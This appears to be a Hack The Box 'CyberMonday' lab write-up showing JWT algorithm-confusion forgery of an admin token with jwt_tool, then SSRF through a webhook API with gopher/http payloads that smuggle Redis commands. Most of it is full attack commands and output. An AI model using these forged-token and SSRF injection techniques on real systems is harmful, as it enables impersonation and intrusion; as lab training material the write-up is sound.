JWT_Forgery
As discovered previously, I found the private key of the JWT, which appears to be used for the API access control with the
x-access-token
cookie
Knowing this would allow me to forge a JWT to impersonate other users which potentially opens up a door to other attack vectors
Public Key Extraction
┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ curl -s http://webhooks-api-beta.cybermonday.htb/jwks.json -o jwks.json
I will first download the jwks.json
file to Kali
┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ jwt_tool eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJhcGl1c2VyIiwicm9sZSI6InVzZXIifQ.cmh44nhZ-7yjOkacgLB5QOXmks1p50VxqZh_1Yn-VxzUxj64XdtjtZDsQRDxpCTXfnGi2yZ6Fw3xP9DGoY1p75-aJDhlXp0hO7AMb2I87TmDaXUs8kpwaP-akqbCLmSa1tHAFA7ZDz8aX1i-axBcBHdUSgBa1ddGHWkQbp-PiyZ3XwZyS52Pjg-OKbp2ZlFe8y1RyCagolLbro3yv1ghPA_Gpb7Wm1YDOcgD75uD1R2BTtiMc_S03tUy2Kdcv0LVNV4iqYXi6PUQPP5ZKNqbRIlZatdStXQdq5JPeEveoSCV5UfE6SHEigyUTmp1a29gsglCMD7xmFCtWAetKBY1Lg -V -jw jwks.json
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.6 \______| @ticarpi
Original JWT:
JWKS Contents:
Number of keys: 1
--------
Key 1
Key 1
[+] kty = RSA
[+] use = sig
[+] alg = RS256
[+] n = pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w
[+] e = AQAB
Found RSA key factors, generating a public key
[+] kid_0_1692692698.pem
Attempting to verify token using kid_0_1692692698.pem
RSA Signature is VALID
I can then extract the public key from the jwts.json
file using jwt_tool
I also supplied the existing x-access-token
cookie. The public key is saved to the kid_0_1692692698.pem
file
Impersonation
using the online tool, I can generate a forged JWT to impersonate the presumably existing
admin
user (“id”:1)
here, i will be using hs256 to perform the algorithm confusion technique
Signing
┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ jwt_tool 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.KUV_kmYQR0jBkzt5nLR-FrHodQ7gH8H38E5eQT7nDgU' -S hs256 -k kid_0_1692692698.pem
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.6 \______| @ticarpi
Original JWT:
=====================
Decoded Token Values:
=====================
Token header values:
[+] typ = "JWT"
[+] alg = "HS256"
Token payload values:
[+] id = 1
[+] username = "admin"
[+] role = "admin"
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------
jwttool_9474c88de2235f81b546bc256389ec54 - Tampered token - HMAC Signing:
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.hsjDWoGJbgx_ygJe9nlfu4dNZHUZuF3Igy43NfKQ7aE
I can then use the extracted public key to sign the forged JWT, so that it can validate to the private key; jwts.json
using the algorithm confusion technique
Webhook Creation
Now that I have a valid admin session with the forged JWT, I might be able to abuse the privileges to make actions from the server side
┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ curl -x post http://webhooks-api-beta.cybermonday.htb/webhooks/create -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.hsjDWoGJbgx_ygJe9nlfu4dNZHUZuF3Igy43NfKQ7aE" -H "Content-Type: application/json" -d '{"name": "SSRF", "description": "testing", "action": "sendRequest", "url": "http://<IPADDR>"}'
{"status":"success","message":"Done! Send me a request to execute the action, as the event listener is still being developed.","webhook_uuid":"6600466d-f555-4d53-9c75-cc01928a4001"}
Now as the admin
user with the admin
role, I can create an arbitrary webhook. I also supplied the url
parameter to test out SSRF
uuid
of the webhook is 8de9df58-7220-4e7a-81d3-d7faa469f157
SSRF
┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ curl -X POST http://webhooks-api-beta.cybermonday.htb/webhooks/8de9df58-7220-4e7a-81d3-d7faa469f157 -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.hsjDWoGJbgx_ygJe9nlfu4dNZHUZuF3Igy43NfKQ7aE" -H "Content-Type: application/json" -d '{"action": "sendRequest", "url": "http://10.10.14.12", "method": "GET"}'
{"status":"success","message":"URL is live","response":"<!DOCTYPE HTML>\n<html lang=\"en\">\n<head>\n<meta charset=\"utf-8\">\n<title>Directory listing for \/<\/title>\n<\/head>\n<body>\n<h1>Directory listing for \/<\/h1>\n<hr>\n<ul>\n<li><a href=\"env\">env<\/a><\/li>\n<li><a href=\"git\/\">git\/<\/a><\/li>\n<li><a href=\"jwks.json\">jwks.json<\/a><\/li>\n<li><a href=\"jwt_tool\/\">jwt_tool\/<\/a><\/li>\n<li><a href=\"kid_0_1692692698.pem\">kid_0_1692692698.pem<\/a><\/li>\n<li><a href=\"phpggc\/\">phpggc\/<\/a><\/li>\n<\/ul>\n<hr>\n<\/body>\n<\/html>\n"}
Now sending a POST method to the generated uuid
above to have the web server send a GET request to the Kali web server
SSRF confirmed.
┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ curl -X POST http://webhooks-api-beta.cybermonday.htb/webhooks/8de9df58-7220-4e7a-81d3-d7faa469f157 -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.hsjDWoGJbgx_ygJe9nlfu4dNZHUZuF3Igy43NfKQ7aE" -H "Content-Type: application/json" -d '{"action": "sendRequest", "url": "http://127.0.0.1", "method": "GET"}'
{"status":"error","message":"URL is not live"}
Strangely, localhost doesn’t seem to respond back and it says that the URL is not live
┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ curl -X POST http://webhooks-api-beta.cybermonday.htb/webhooks/create -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.hsjDWoGJbgx_ygJe9nlfu4dNZHUZuF3Igy43NfKQ7aE" -H "Content-Type: application/json" -d '{"name": "SSRF", "description": "Redis testing", "action": "redisCommand", "url": "<IPADDR>"}'
{"status":"error","message":"This action is not available","actions":["sendRequest","createLogFile"]}
While I was trying various different scenarios, I discovered that the actions
parameter only has either sendRequest
and createLogFile
┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ curl -X POST http://webhooks-api-beta.cybermonday.htb/webhooks/8de9df58-7220-4e7a-81d3-d7faa469f157 -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.hsjDWoGJbgx_ygJe9nlfu4dNZHUZuF3Igy43NfKQ7aE" -H "Content-Type: application/json" -d '{"action": "sendRequest", "url": "gopher://127.0.0.1:6379/_%250D%0A%250D%250A%0A%252A3%0A%250D%250A%0A%25243%0A%250D%250A%0ASET%0A%250D%250A%0A%25244%0A%250D%250A%0Auser%0A%250D%250A%0A%252418%0A%250D%250A%0Aping+-c+1+10.0.0.2%0A%250D%250A"}'
{"status":"error","message":"\"method\" not defined"}
┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ curl -X POST http://webhooks-api-beta.cybermonday.htb/webhooks/8de9df58-7220-4e7a-81d3-d7faa469f157 -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.hsjDWoGJbgx_ygJe9nlfu4dNZHUZuF3Igy43NfKQ7aE" -H "Content-Type: application/json" -d '{"action": "sendRequest", "url": "http://127.0.0.1:6379/_%250D%0A%250D%250A%0A%252A3%0A%250D%250A%0A%25243%0A%250D%250A%0ASET%0A%250D%250A%0A%25244%0A%250D%250A%0Auser%0A%250D%250A%0A%252418%0A%250D%250A%0Aping+-c+1+10.10.14.20%0A%250D%250A", "method":"blah"}'
{"status":"error","message":"URL is not live"}
Additionally, the method
parameter appears to be required but doesn’t have a restriction on the value